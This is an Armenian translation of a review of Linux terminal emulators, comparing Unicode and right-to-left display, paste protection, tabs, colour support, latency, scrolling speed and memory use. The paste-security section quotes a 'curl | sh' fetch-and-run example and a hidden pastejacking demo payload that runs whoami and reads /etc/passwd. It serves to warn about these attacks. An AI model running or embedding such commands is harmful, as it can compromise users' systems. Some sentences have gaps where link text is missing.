Մի քանի խոսք մեր թարգմանչական բյուրոյից. սովորաբար բոլորը ձգտում են թարգմանել վերջին նյութերն ու հրապարակումները, և մենք բացառություն չենք: Բայց տերմինալները շաբաթը մեկ անգամ թարմացվող բան չեն: Հետևաբար, մենք ձեզ համար թարգմանել ենք Անտուան Բոպրեի հոդվածը, որը հրապարակվել է 2018 թվականի գարնանը. չնայած ժամանակակից չափանիշներով իր զգալի «տարիքին», մեր կարծիքով, նյութն ընդհանրապես չի կորցրել իր արդիականությունը: Բացի այդ, սա ի սկզբանե երկու հոդվածների շարք էր, բայց մենք որոշեցինք դրանք համատեղել մեկ մեծ գրառման մեջ:
Տերմինալները հատուկ տեղ ունեն համակարգչային պատմության մեջ, սակայն վերջին տասնամյակների ընթացքում դրանք ստիպված են եղել գոյատևել հրամանի տողի կողքին, քանի որ գրաֆիկական միջերեսները դառնում են ամենուր: փոխարինեցին իրենցը , որոնք, իրենց հերթին, դակված քարտերի և անջատիչ անջատիչների վրա հիմնված համակարգերի փոփոխություն էին։ Ժամանակակից բաշխումները գալիս են տարբեր ձևերի և գույների տերմինալային էմուլյատորներով: Եվ թեև շատերը գոհ են իրենց աշխատանքային միջավայրի կողմից տրված ստանդարտ տերմինալից, ոմանք հպարտորեն օգտագործում են ուղղակի էկզոտիկ ծրագրակազմ՝ իրենց սիրելի կեղևը կամ տեքստային խմբագրիչը գործարկելու համար: Բայց, ինչպես կտեսնենք այս հոդվածից, ոչ բոլոր տերմինալներն են ստեղծվել նույն պատկերով. դրանք մեծապես տարբերվում են ֆունկցիոնալությամբ, չափսերով և կատարողականությամբ:
Որոշ տերմինալներ ունեն միանգամայն զարմանալի անվտանգության անցքեր, բացի այդ, շատերն ունեն բոլորովին այլ գործառույթներ՝ ներդիրներով ինտերֆեյսի աջակցությունից մինչև սկրիպտավորում: Չնայած մենք , այս հոդվածը նախորդ նյութի թարմացումն է, որը կօգնի ընթերցողներին որոշել, թե որ տերմինալն օգտագործել 2018 թվականին։ Հոդվածի առաջին կեսը համեմատում է առանձնահատկությունները, իսկ երկրորդ կեսը գնահատում է կատարումը:
Ահա իմ վերանայած տերմինալները.
Սրանք կարող են լինել վերջին տարբերակները, քանի որ գրելու պահին ես սահմանափակված էի կայուն կառուցումներով, որոնք կարողացա տարածել Debian 9-ում կամ Fedora 27-ում: Միակ բացառությունը Alacritty-ն է: Այն GPU-ով արագացված տերմինալների ժառանգն է և գրված է այս առաջադրանքի համար անսովոր և նոր լեզվով՝ Rust-ով: Ես բացառեցի վեբ տերմինալները իմ վերանայումից (ներառյալ դրանք, որոնք առկա են): ), քանի որ նախնական թեստերը ցույց են տվել դրանց չափազանց վատ կատարումը։
Unicode աջակցություն
Ես սկսեցի իմ թեստերը Յունիկոդի աջակցությամբ: Տերմինալների առաջին փորձարկումը եղել է Unicode տողի ցուցադրումը «é, Δ, И, ק, م, ๗, あ, 叶, 葉 և 말»։ Այս պարզ թեստը ցույց է տալիս, թե արդյոք տերմինալը կարող է ճիշտ աշխատել ամբողջ աշխարհում: xterm տերմինալը չի ցուցադրում արաբերեն նիշ լռելյայն կազմաձևում.
Լռելյայնորեն, xterm-ը օգտագործում է դասական «ֆիքսված» տառատեսակը, որը, ըստ , ունի «զգալի Unicode ծածկույթ 1997 թվականից»։ Այս տառատեսակի մեջ ինչ-որ բան է տեղի ունենում, որը ստիպում է նիշը հայտնվել որպես դատարկ շրջանակ, և միայն այն ժամանակ, երբ տեքստի տառատեսակը հասցվում է 20+ կետի, նիշը վերջապես սկսում է ճիշտ ցուցադրվել: Այնուամենայնիվ, այս «ամրագրումը» խախտում է Unicode նիշերի ցուցադրումը.
Այս սքրինշոթներն արվել են Fedora 27-ում, քանի որ այն ավելի լավ արդյունքներ է տվել, քան Debian 9-ը, որտեղ տերմինալների որոշ հին տարբերակներ (մասնավորապես mlterm) չեն կարողացել ճիշտ մշակել տառատեսակները: Բարեբախտաբար, դա շտկվեց հետագա տարբերակներում:
Այժմ ուշադրություն դարձրեք, թե ինչպես է տողը ցուցադրվում xterm-ում: Ստացվում է, որ խորհրդանիշի հուշը եւ հետեւյալ սեմիտարը վերաբերեք RTL ոճի սցենարներին (), այնպես որ տեխնիկապես դրանք պետք է ցուցադրվեն աջից ձախ: Վեբ բրաուզերները, ինչպիսին է Firefox 57-ը, ճիշտ են մշակում վերը նշված տողը: RTL տեքստի ավելի պարզ տարբերակը « բառն է«եբրայերեն (). ասում է հետևյալը.
«Շատ համակարգչային ծրագրեր չեն կարող ճիշտ ցուցադրել երկկողմանի տեքստը: Օրինակ, եբրայերեն «Սառա» անունը բաղկացած է sin (ש) (որը հայտնվում է աջ կողմում), ապա resh (ר) և վերջապես he (ה) (որը պետք է հայտնվի ձախ կողմում) նշաններից»:
Շատ տերմինալներ ձախողում են այս թեստը՝ Alacritty, VTE-ից ստացված Gnome և XFCE տերմինալները, urxvt, st և xterm ցուցադրում են «Sara» հակառակ հերթականությամբ, կարծես անունը գրել ենք «Aras»:
Երկկողմանի տեքստերի մեկ այլ խնդիր այն է, որ դրանք ինչ-որ կերպ պետք է համապատասխանեցվեն, հատկապես, երբ խոսքը վերաբերում է RTL և LTR տեքստերը խառնելուն: RTL սկրիպտները պետք է աշխատեն տերմինալի պատուհանի աջ կողմից, բայց ի՞նչ պետք է տեղի ունենա այն տերմինալների համար, որոնք լռելյայն ունեն LTR անգլերեն: Նրանցից շատերը չունեն հատուկ մեխանիզմներ և ամբողջ տեքստը հավասարեցնում են ձախ կողմում (այդ թվում՝ Konsole-ում): Բացառություն են կազմում pterm-ը և mlterm-ը, որոնք հավատարիմ են ստանդարտներին և աջ հարթեցնում են նման տողերը:
Ներդիրի պաշտպանություն
Հաջորդ քննադատական առանձնահատկությունը, որը ես հայտնաբերել եմ, հակաիսլտրացված պաշտպանություն է: Թեև լայնորեն հայտնի է, որ հմայությունները, ինչպիսիք են.
$ curl http://example.com/ | shկոդի կատարման հրում հրամաններ են, քչերը գիտեն, որ թաքնված հրամանները կարող են գաղտագողի մուտք գործել վահանակ վեբ բրաուզերից պատճենելիս և տեղադրելիս, նույնիսկ մանրակրկիտ ստուգումից հետո: փայլուն կերպով ցույց է տալիս, թե որքան անվնաս տեսք ունի հրամանը.
git clone git: //git.kernel.org/pub/scm/utils/kup/kup.gitվերածվում է նման անհանգստության, երբ Horn-ի կայքից տեղադրվում է տերմինալ.
git clone /dev/null;
clear;
echo -n "Hello ";
whoami|tr -d 'n';
echo -e '!nThat was a bad idea. Don'"'"'t copy code from websites you don'"'"'t trust!
Here'"'"'s the first line of your /etc/passwd: ';
head -n1 /etc/passwd
git clone git://git.kernel.org/pub/scm/utils/kup/kup.gitԻնչպես է դա աշխատում? Վնասակար կոդը ներառված է բլոկում , որը տեղափոխվում է օգտվողի տեսադաշտից՝ օգտագործելով CSS:
հստակորեն նախատեսված է նման հարձակումները չեզոքացնելու համար: Այս ռեժիմում տերմինալները կցված տեքստը կցում են հատուկ փախուստի հաջորդականության զույգ՝ կեղևին տեքստի ծագման մասին պատմելու համար: Սա ասում է shell-ին, որ այն կարող է անտեսել հատուկ նիշերը, որոնք կարող են պարունակել տեղադրվող տեքստը: Բոլոր տերմինալները, որոնք վերադառնում են հարգելի xterm-ին, աջակցում են այս հատկանիշին, սակայն փակագծային ռեժիմում տեղադրումը պահանջում է աջակցություն տերմինալում աշխատող կեղևի կամ հավելվածի կողմից: Օրինակ, ծրագրային ապահովման օգտագործումը (նույն Bash), անհրաժեշտ է ֆայլ ~/.inputrc:
set enable-bracketed-paste onՑավոք, Horn-ի թեստային կայքը նաև ցույց է տալիս, թե ինչպես կարելի է շրջանցել այս պաշտպանությունը հենց տեքստի ձևաչափման միջոցով և ժամանակից շուտ կիրառել Bracketed ռեժիմը դրա վրա: Սա գործում է, քանի որ որոշ տերմինալներ ճիշտ չեն ֆիլտրում փախուստի հաջորդականությունները նախքան իրենց սեփականը ավելացնելը: Օրինակ, իմ մեջ ես երբեք չկարողացա հաջողությամբ լրացնել քարոնոլի թեստերը նույնիսկ ճիշտ կազմաձեւերով .inputrc ֆայլ։ Սա նշանակում է, որ դուք հեշտությամբ կարող եք վնասել ձեր համակարգի կոնֆիգուրացիան չաջակցվող հավելվածի կամ սխալ կազմաձևված կեղևի պատճառով: Սա հատկապես վտանգավոր է հեռավոր սերվերներ մուտք գործելու ժամանակ, որտեղ զգույշ կազմաձևման աշխատանքն ավելի քիչ տարածված է, հատկապես, եթե դուք ունեք շատ նման հեռավոր մեքենաներ:
Այս խնդրի լավ լուծումը տերմինալի համար մածուկի հաստատման հավելումն է urxvt, որը պարզապես թույլտվություն է խնդրում զետեղել նոր տողեր պարունակող ցանկացած տեքստ: Ես չեմ գտել ավելի ապահով տարբերակ Հորնի նկարագրած տեքստային գրոհի համար:
Ներդիրներ և պրոֆիլներ
Այժմ հայտնի հատկանիշը ներդիրներով ինտերֆեյսի աջակցությունն է, որը մենք կսահմանենք որպես մեկ տերմինալի պատուհան, որը պարունակում է ևս մի քանի տերմինալներ: Այս ֆունկցիան տարբերվում է տարբեր տերմինալների համար, և թեև ավանդական xterm տերմինալներն ընդհանրապես չեն աջակցում ներդիրներին, ավելի ժամանակակից տերմինալների մարմնավորումները, ինչպիսիք են Xfce Terminal-ը, GNOME Terminal-ը և Konsole-ը, ունեն այս գործառույթը: Urxvt-ն աջակցում է նաև ներդիրներին, բայց միայն այն դեպքում, եթե դուք օգտագործում եք հավելված: Բայց ինքնին ներդիրների աջակցության առումով, Terminator-ը անվիճելի առաջատարն է. այն ոչ միայն աջակցում է ներդիրներին, այլև կարող է դասավորել տերմինալները ցանկացած կարգով (տես ստորև նկարը):
Terminator-ի մեկ այլ առանձնահատկությունն այս ներդիրները միասին «խմբավորելու» և միաժամանակ մի քանի տերմինալներ ուղարկելու նույն ստեղնաշարի հնարավորությունն է՝ ապահովելով կոպիտ գործիք՝ միաժամանակ բազմաթիվ սերվերների վրա զանգվածային գործողություններ կատարելու համար: Նմանատիպ գործառույթն իրականացվում է նաև Konsole-ում: Այս հնարավորությունը այլ տերմինալներում օգտագործելու համար դուք պետք է օգտագործեք երրորդ կողմի ծրագրեր, ինչպիսիք են , կամ .
Ներդիրները հատկապես լավ են աշխատում, երբ զուգակցվում են պրոֆիլների հետ. օրինակ, դուք կարող եք ունենալ մեկ ներդիր էլփոստի համար, մյուսը՝ զրույցի համար և այլն: Սա լավ աջակցվում է Konsole Terminal-ի և GNOME Terminal-ի կողմից: Երկուսն էլ թույլ են տալիս յուրաքանչյուր ներդիր ինքնաբերաբար գործարկել իր սեփական պրոֆիլը: Terminator-ն աջակցում է նաև պրոֆիլներին, բայց ես չկարողացա տարբերակ գտնել որոշակի ծրագրեր ավտոմատ կերպով գործարկելու, երբ դուք բացում եք որոշակի ներդիր: Մյուս տերմինալներն ընդհանրապես չունեն «պրոֆիլ» հասկացություն։
Ռաֆլեր
Վերջին բանը, որ ես կանդրադառնամ այս հոդվածի առաջին մասում, տերմինալների տեսքն է: Օրինակ՝ GNOME-ը, Xfce-ն և urxvt-ն աջակցում են թափանցիկությանը, սակայն վերջերս դադարեցրել են ֆոնային պատկերների աջակցությունը՝ ստիպելով որոշ օգտվողների անցնել տերմինալին։ . Անձամբ ես գոհ եմ դրանից, և դա պարզ է xresources, որը սահմանում է urxvt-ի ֆոնային գույների հիմնական հավաքածուն: Այնուամենայնիվ, ոչ ստանդարտ գունային թեմաները նույնպես կարող են խնդիրներ ստեղծել: Օրինակ, հավելվածներով и , քանի որ նրանք արդեն օգտագործում են իրենց սեփական գույները։
գույները չէր աջակցում, իսկ նորերը հաճախ սահմանափակվում էին 256 գույնի գունապնակով: Առաջադեմ օգտատերերի համար, ովքեր ոճավորում են իրենց տերմինալները, կեղևի հուշումները կամ կարգավիճակի գծերը բարդ ձևերով կարող են զայրացնող սահմանափակում լինել: հետքեր, որոնց տերմինալներն ունեն «True Color» աջակցություն: Իմ թեստերը հաստատում են, որ st, Alacritty և VTE վրա հիմնված տերմինալները կատարելապես աջակցում են True Color-ին: Այլ տերմինալներն այս առումով այնքան էլ լավ չեն ստացվում և, փաստորեն, նույնիսկ 256 գույն չեն ցուցադրում: Ստորև դուք կարող եք տեսնել տարբերությունը True Color-ի աջակցության միջև GNOME տերմինալներում, st և xterm, որոնք դա լավ են անում իրենց 256 գունային գունապնակով, և urxvt-ը, որը ոչ միայն ձախողում է թեստը, այլ նույնիսկ նրանց փոխարեն ցույց է տալիս թարթող նիշերը:
Որոշ տերմինալներ վերլուծում են նաեւ URL- ի օրինակների տեքստը `հղումները կտտացնելով: Սա վերաբերում է VTE-ից ստացված բոլոր տերմինալներին, մինչդեռ urxvt-ը պահանջում է հատուկ փլագին, որը կվերափոխի URL-ները մեկ սեղմումով կամ օգտագործելով ստեղնաշարի դյուրանցում: Այլ տերմինալներ, որոնք ես փորձարկել եմ ցուցադրել URL- ները այլ եղանակներով:
Վերջապես, տերմինալների նոր միտումը ոլորման բուֆերի ընտրովիությունն է: Օրինակ, st չունի ոլորման բուֆեր; Ենթադրվում է, որ օգտագործողը կօգտագործի տերմինալային մուլտիպլեքսեր, ինչպիսին է tmux և .
Alacritty-ին նույնպես բացակայում են backscroll բուֆերները, բայց դրա աջակցությունը՝ օգտատերերի կողմից այս թեմայի վերաբերյալ «ընդարձակ արձագանքների» շնորհիվ: Բացի այս վերսկսումներից, իմ փորձարկած յուրաքանչյուր տերմինալ, որը ես կարող էի գտնել, աջակցում է հակադարձ ոլորմանը:
Ենթագումարներ
Նյութի երկրորդ մասում (Բնօրինակում դրանք երկու տարբեր հոդվածներ էին. մոտ. գոտի) Համեմատելու ենք կատարումը, հիշողության օգտագործումը եւ լատենտությունը: Բայց մենք արդեն կարող ենք տեսնել, որ տվյալ տերմինալներից մի քանիսը լուրջ թերություններ ունեն: Օրինակ, օգտվողները, ովքեր պարբերաբար աշխատում են RTL սկրիպտների հետ, կարող են ցանկանալ հաշվի առնել mlterm և pterm, քանի որ նրանք ավելի լավ են կատարում նմանատիպ առաջադրանքները, քան մյուսները: Կոնսոլեն նույնպես լավ հանդես եկավ: Օգտագործողները, ովքեր չեն աշխատում RTL սցենարներով, կարող են ընտրել այլ բան:
Վնասակար կոդերի տեղադրումից պաշտպանվելու առումով urxvt-ն առանձնանում է այս տեսակի հարձակումներից պաշտպանվելու հատուկ ներդրմամբ, որն ինձ միանշանակ հարմար է թվում։ Նրանց համար, ովքեր փնտրում են զանգեր և սուլիչներ, Konsole-ն արժե նայել: Ի վերջո, հարկ է նշել, որ VTE-ն հիանալի հիմք է տերմինալների համար, որը երաշխավորում է գունային աջակցություն, URL-ի ճանաչում և այլն։ Առաջին հայացքից լռելյայն տերմինալը, որը գալիս է ձեր սիրած միջավայրի հետ, կարող է բավարարել բոլոր պահանջները, բայց եկեք այս հարցը բաց թողնենք այնքան ժամանակ, մինչև հասկանանք կատարողականը:
Շարունակենք զրույցը
Ընդհանրապես, տերմինալների կատարումն ինքնին կարող է թվալ հեռահար խնդիր, բայց, ինչպես պարզվում է, դրանցից ոմանք զարմանալիորեն բարձր հետաձգում են ցուցաբերում նման հիմնարար տեսակի ծրագրային ապահովման համար: Նաև հաջորդիվ կդիտարկենք, թե ինչ է ավանդաբար կոչվում «արագություն» (իրականում սա ոլորման արագությունն է) և տերմինալի հիշողության սպառումը (նախազգուշացումով, որ դա այսօր այնքան էլ կարևոր չէ, որքան տասնամյակներ առաջ):
Հետաձգումը
Տերմինալի կատարողականի մանրակրկիտ ուսումնասիրությունից հետո ես եկա այն եզրակացության, որ այս առումով ամենակարևոր պարամետրը լատենտությունն է (ping): Իր հոդվածում Պավել Ֆատինը նայեց տարբեր տեքստային խմբագրիչների ուշացմանը և ակնարկեց, որ այս առումով տերմինալները կարող են ավելի դանդաղ աշխատել, քան ամենաարագ տեքստային խմբագրիչները: Հենց այս հուշումն էր, որ ի վերջո ստիպեց ինձ անցկացնել իմ սեփական թեստերը և գրել այս հոդվածը:
Բայց ի՞նչ է հետաձգումը և ինչո՞ւ է այն այդքան կարևոր: Իր հոդվածում Ֆաթինը դա սահմանել է որպես «ստեղնաշարի սեղմման և էկրանի համապատասխան թարմացման ուշացում» և մեջբերել. , որտեղ ասվում է. «Համակարգչի էկրանի վրա տեսողական արձագանքի հետաձգումը կարևոր ազդեցություն ունի մեքենագրողի վարքի և բավարարվածության վրա»։
Ֆաթինը բացատրում է, որ այս պինգն ավելի խորը հետևանքներ ունի, քան պարզապես բավարարվածությունը. Այլ կերպ ասած, մեծ ուշացումը կարող է հանգեցնել տառասխալների և նաև կոդի որակի նվազմանը, քանի որ դա հանգեցնում է ուղեղի լրացուցիչ ճանաչողական բեռի: Բայց ամենավատն այն է, որ պինգը «մեծացնում է աչքերի և մկանների լարվածությունը», ինչը կարծես թե ենթադրում է ապագայում (Ըստ ամենայնի, հեղինակը նկատի ունի աչքերի մկանների, մեջքի, ձեռքերի և, իհարկե, տեսողության հետ կապված խնդիրներ՝ մոտ. գոտի) կրկնվող սթրեսի պատճառով:
Այս հետեւանքներից մի քանիսը հայտնի են եղել երկար ժամանակ, եւ արդյունքները , որը հրապարակվել է դեռ 1976 թվականին Ergonomics ամսագրում, ասվում է, որ 100 միլիվայրկյան ուշացումը «էականորեն խաթարում է մուտքագրման արագությունը»։ Վերջերս ներկայացվեց GNOME Օգտագործողի ուղեցույցը 10 միլիվայրկյանում, իսկ եթե ավելի հեռուն գնա, ապա ցույց է տալիս, որ 1 միլիվայրկյան իդեալական է:
Ֆաթինն իր թեստերն անցկացրեց տեքստային խմբագրիչների վրա. նա ստեղծել է շարժական գործիք, որը կոչվում է , որը ես օգտագործել եմ տերմինալների էմուլյատորներում պինգը փորձարկելու համար: Նկատի ունեցեք, որ թեստն անցկացվել է սիմուլյացիոն ռեժիմով. իրականում մենք պետք է հաշվի առնենք և՛ մուտքային (ստեղնաշար, USB կարգավորիչ և այլն), և՛ ելքային (վիդեո քարտի բուֆեր, մոնիտոր) հետաձգումը: Ըստ Ֆաթինի, բնորոշ կոնֆիգուրացիաներում այն կազմում է մոտ 20 ms: Եթե ունեք խաղային սարքավորումներ, ապա այս ցուցանիշին կարող եք հասնել ընդամենը 3 միլիվայրկյանում: Քանի որ մենք արդեն ունենք նման արագ սարքավորում, հավելվածը կարիք չունի ավելացնելու իր սեփական հետաձգումը: Ֆաթինի նպատակն է կիրառման հետաձգումը հասցնել 1 միլիվայրկյան, կամ նույնիսկ հասնել առանց հավաքման ինչպես ներս .
Ահա իմ չափումների արդյունքները, ինչպես նաև Ֆաթինի որոշ արդյունքներ՝ ցույց տալու համար, որ իմ փորձը համապատասխանում է նրա թեստերին.
Առաջին բանը, որ ինձ ապշեցրեց, ավելի լավ արձագանքման ժամանակն էր հին ծրագրերի, ինչպիսիք են xterm և mlterm-ը: Ամենավատ ռեգիստրի ուշացումով (2,4 ms), նրանք ավելի լավ գործեցին, քան ամենաարագ ժամանակակից տերմինալը (10,6 ms համար st): Ոչ մի ժամանակակից տերմինալ չի ընկնում 10 միլիվայրկյան շեմից: Մասնավորապես, Alacritty-ն չի կարողանում բավարարել «առկա ամենաարագ տերմինալային էմուլյատորի» պահանջը, թեև նրա միավորները բարելավվել են 2017 թվականի առաջին վերանայումից հետո: Իսկապես, նախագծի հեղինակները և աշխատում են էկրանը բարելավելու ուղղությամբ: Հարկ է նաեւ նշել, որ GTK3- ի օգտագործմամբ VIM- ն ավելի դանդաղկոտության կարգ է, քան իր GTK2- ի գործընկերոջը: Այստեղից մենք կարող ենք եզրակացնել, որ GTK3-ը ստեղծում է լրացուցիչ ուշացում, և դա արտացոլվում է այն օգտագործող բոլոր տերմինալներում (Terminator, Xfce4 Terminal և GNOME Terminal):
Այնուամենայնիվ, տարբերությունները կարող են նկատելի չլինել աչքի համար: Ինչպես բացատրում է Ֆաթինը, «դուք չպետք է տեղյակ լինեք ուշացման մասին, որպեսզի այն ազդի ձեզ վրա»: Ֆաթինը նաև զգուշացնում է ստանդարտ շեղման մասին. «լատենտության ցանկացած խանգարում (ցնցում) ստեղծում է լրացուցիչ սթրես՝ իրենց անկանխատեսելիության պատճառով»:
Վերոնշյալ գրաֆիկը վերցված է մաքուր DEBIAN 9 (ձգվող) վրա . Այս միջավայրը լավագույն արդյունքներն է տալիս ուշացման թեստերում: Ինչպես պարզվում է, GNOME-ը ստեղծում է լրացուցիչ ping՝ 20 ms բոլոր չափումների համար: Դրա հնարավոր բացատրությունը մուտքային իրադարձությունների համաժամանակյա մշակմամբ ծրագրերի առկայությունն է: Ֆաթին նման դեպքի համար օրինակ է բերում , որն ավելացնում է հետաձգում `համաժամանակյա բոլոր մուտքային իրադարձությունները վերամշակելով: Լռելյայն, GNOME- ը գալիս է նաեւ պատուհանների կառավարիչ , որը ստեղծում է բուֆերացման լրացուցիչ շերտ, որն ազդում է պինգի վրա և ավելացնում է առնվազն 8 միլիվայրկյան ուշացում։
Ոլորման արագություն
Հաջորդ թեստը ավանդական «արագության» կամ «թողունակության» թեստն է, որը չափում է, թե որքան արագ է տերմինալը կարող ոլորել էջը՝ էկրանին ցուցադրելով մեծ քանակությամբ տեքստ: Թեստի մեխանիզմները տարբեր են. Բնօրինակ թեստը պարզապես նույն տեքստային տողը պարզապես ստեղծելն էր, օգտագործելով SEQ հրամանը: Այլ թեստեր ներառում են Thomas E. Dickey- ի (Xterm պահպանողի) թեստը, որը բազմիցս . Տերմինալի կատարողականի մեկ այլ վերանայում օգտագործում է պատահական բայթերի base32 կոդավորված շարանը, որը cat-ի միջոցով ուղարկվում է տերմինալ: Լուուն նման թեստը համարում է «այնքան անօգուտ չափանիշ, որքան կարելի է պատկերացնել» և դրա փոխարեն առաջարկում է օգտագործել տերմինալային պատասխանը որպես առաջնային չափիչ։ Դիկին իր թեստը նաև ապակողմնորոշիչ է անվանում։ Այնուամենայնիվ, երկու հեղինակներն էլ ընդունում են, որ տերմինալի պատուհանի թողունակությունը կարող է խնդիր լինել: Լուուն հայտնաբերեց Emacs Eshell-ի սառեցումը մեծ ֆայլեր ցուցադրելիս, իսկ Դիկին օպտիմիզացրեց տերմինալը՝ xtrerm-ի տեսողական դանդաղությունից ազատվելու համար: Այսպիսով, այս թեստը դեռևս որոշ արժանիքներ ունի, բայց քանի որ մատուցման գործընթացը շատ տարբեր է տերմինալից տերմինալ, այն կարող է օգտագործվել նաև որպես փորձնական բաղադրիչ՝ այլ պարամետրեր փորձարկելու համար:
Այստեղ մենք տեսնում ենք, որ rxvt-ը և st-ն առաջ են քաշում մրցակցությունից, որին հաջորդում է շատ ավելի նոր Alacritty-ն, որը նախագծված է՝ կենտրոնանալով կատարման վրա: Հաջորդը Xfce-ն (VTE ընտանիք) և Konsole-ն են, որոնք գրեթե երկու անգամ ավելի արագ են: Վերջինը xterm է, որը հինգ անգամ ավելի դանդաղ է, քան rxvt-ը: Թեստի ընթացքում xterm-ը նույնպես շատ ծածանվեց՝ դժվարացնելով անցողիկ տեքստը տեսնել, նույնիսկ եթե դա նույն տողն էր: Konsole-ն արագ էր, բայց երբեմն դժվար էր. էկրանը ժամանակ առ ժամանակ սառչում էր՝ ցույց տալով մասնակի տեքստ կամ ընդհանրապես չցուցադրելով այն: Այլ տերմինալները հստակ ցուցադրում էին տողերը, ներառյալ st, Alacritty և rxvt:
Dickey- ը բացատրում է, որ կատարողականի տարբերությունները պայմանավորված են տարբեր տերմինալներում ոլորման բուֆերների նախագծմամբ: Մասնավորապես, նա մեղադրում է RXVT- ին եւ ընդհանուր կանոններին չհետեւելու այլ տերմինալներին.
«Ի տարբերություն xterm-ի, rxvt-ը չի փորձել ցուցադրել բոլոր թարմացումները: Եթե այն հետ մնա, կհրաժարվի որոշ թարմացումներից՝ հասնելու համար: Սա ավելի մեծ ազդեցություն ունեցավ ոլորման ակնհայտ արագության վրա, քան ներքին հիշողության կազմակերպման վրա: Մի թերություն այն էր, որ ASCII անիմացիան որոշ չափով անհստակ էր»:
Այս ընկալված xterm դանդաղությունը շտկելու համար Դիկին առաջարկում է օգտագործել ռեսուրսը , թույլ տալով xterm-ին հրաժարվել էկրանի որոշ թարմացումներից՝ հոսքին հետ պահելու համար: Իմ թեստերը հաստատում են, որ fastScroll-ը բարելավում է կատարումը և xterm-ը հավասարեցնում rxvt-ին: Այնուամենայնիվ, սա բավականին կոպիտ հենակ է, ինչպես ինքն է բացատրում Դիկին. «երբեմն xterm-ը, ինչպես konsole-ը, կարծես կանգ է առնում, քանի որ սպասում է էկրանի թարմացումների նոր հավաքածուի որոշ հեռացումից հետո»: Այս առումով, թվում է, որ այլ տերմինալներ գտել են լավագույն փոխզիջումը արագության և ցուցադրման ամբողջականության միջև:
Ռեսուրսների սպառում
Անկախ նրանից, թե իմաստ ունի դիտարկել ոլորման արագությունը որպես կատարողականի չափիչ, այս թեստը թույլ է տալիս մեզ մոդելավորել տերմինալների բեռը, որն իր հերթին թույլ է տալիս չափել այլ պարամետրեր, ինչպիսիք են հիշողությունը կամ սկավառակի օգտագործումը: Մետրերը ստացվել են սահմանված թեստը վարելու միջոցով seq Python գործընթացի մոնիտորինգի ներքո: Նա հավաքել է հաշվիչի տվյալները համար ru_maxrss, գումար ru_oublock и ru_inblock և պարզ ժամանակաչափ:
Այս թեստում ST-ն առաջին տեղն է զբաղեցնում 8 ՄԲ հիշողության նվազագույն միջին սպառմամբ, ինչը զարմանալի չէ՝ հաշվի առնելով, որ դիզայնի հիմնական գաղափարը պարզությունն է: mlterm-ը, xterm-ը և rxvt-ը սպառում են մի փոքր ավելին՝ մոտ 12 ՄԲ: Մեկ այլ ուշագրավ արդյունք է Alacritty-ն, որի գործարկման համար պահանջվում է 30 ՄԲ: Այնուհետև կան VTE ընտանիքի տերմինալներ 40-ից 60 ՄԲ թվերով, ինչը բավականին շատ է: Այս սպառումը կարելի է բացատրել նրանով, որ այդ տերմինալներն օգտագործում են ավելի բարձր մակարդակի գրադարաններ, օրինակ՝ GTK: Konsole-ը վերջին տեղում է՝ 65 ՄԲ հիշողության սպառմամբ թեստերի ընթացքում, թեև դա կարող է արդարացվել իր շատ լայն հնարավորություններով:
Տասը տարի առաջ ստացված նախորդ արդյունքների համեմատ բոլոր ծրագրերը սկսեցին զգալիորեն ավելի շատ հիշողություն սպառել։ Նախկինում Xterm-ը պահանջում էր 4 ՄԲ, բայց հիմա այն պահանջում է 15 ՄԲ հենց գործարկման ժամանակ: Սպառման նմանատիպ աճ կա rxvt-ի համար, որն այժմ պահանջում է 16 ՄԲ առանց տուփի: Xfce տերմինալը զբաղեցնում է 34 ՄԲ, ինչը երեք անգամ ավելի մեծ է, քան նախկինում, բայց GNOME տերմինալը պահանջում է ընդամենը 20 ՄԲ: Իհարկե, բոլոր նախորդ փորձարկումներն իրականացվել են 32-բիթանոց ճարտարապետության վրա: LCA 2012 Rusty Russell-ում , որ կան շատ ավելի նուրբ պատճառներ, որոնք կարող են բացատրել հիշողության սպառման աճը։ Այս ասելով, մենք այժմ ապրում ենք մի ժամանակաշրջանում, որտեղ ունենք գիգաբայթ հիշողություն, ուստի ինչ-որ կերպ կհասցնենք:
Այնուամենայնիվ, ես չեմ կարող չզգալ, որ ավելի շատ հիշողություն հատկացնելը այնպիսի հիմնարար բանի, ինչպիսին տերմինալն է, ռեսուրսների վատնում է: Այս ծրագրերը պետք է լինեն ամենափոքրից ամենափոքրը, պետք է կարողանան աշխատել ցանկացած «տուփի», նույնիսկ կոշիկի տուփի վրա, եթե երբևէ հասնենք այն կետին, երբ դրանք պետք է համալրվեն Linux համակարգերով (և դուք գիտեք, որ դա այդպես կլինի։ ) . Բայց այս թվերով հիշողության օգտագործումը ապագայում խնդիր կդառնա ցանկացած միջավայրում, որն ունի բազմաթիվ տերմինալներ, բացառությամբ մի քանի ամենաթեթև և սահմանափակ հնարավորություններով: Դա փոխհատուցելու համար GNOME Terminal-ը, Konsole-ը, urxvt-ը, Terminator-ը և Xfce Terminal-ը ունեն Daemon ռեժիմ, որը թույլ է տալիս կառավարել բազմաթիվ տերմինալներ մեկ գործընթացի միջոցով՝ սահմանափակելով դրանց հիշողության սպառումը:
Իմ թեստերի ժամանակ ես հանգեցի ևս մեկ անսպասելի արդյունքի՝ կապված սկավառակի կարդալ-գրելու հետ. ես ակնկալում էի, որ այստեղ ընդհանրապես ոչինչ չեմ տեսնի, բայց պարզվեց, որ որոշ տերմինալներ գրում են ամենածավալուն տվյալները սկավառակի վրա: Այսպիսով, VTE գրադարանը իրականում պահում է ոլորման բուֆեր սկավառակի վրա (այս հնարավորությունը , և դա դեռ տեղի է ունենում): Բայց ի տարբերություն հին իրականացումների, այժմ գոնե այս տվյալները կոդավորված են AES256 GCM-ի միջոցով () Բայց խելամիտ հարց է առաջանում՝ ինչո՞վ է առանձնահատուկ VTE գրադարանը, որ դրա իրականացման համար պահանջվում է նման ոչ ստանդարտ մոտեցում...
Ամփոփում
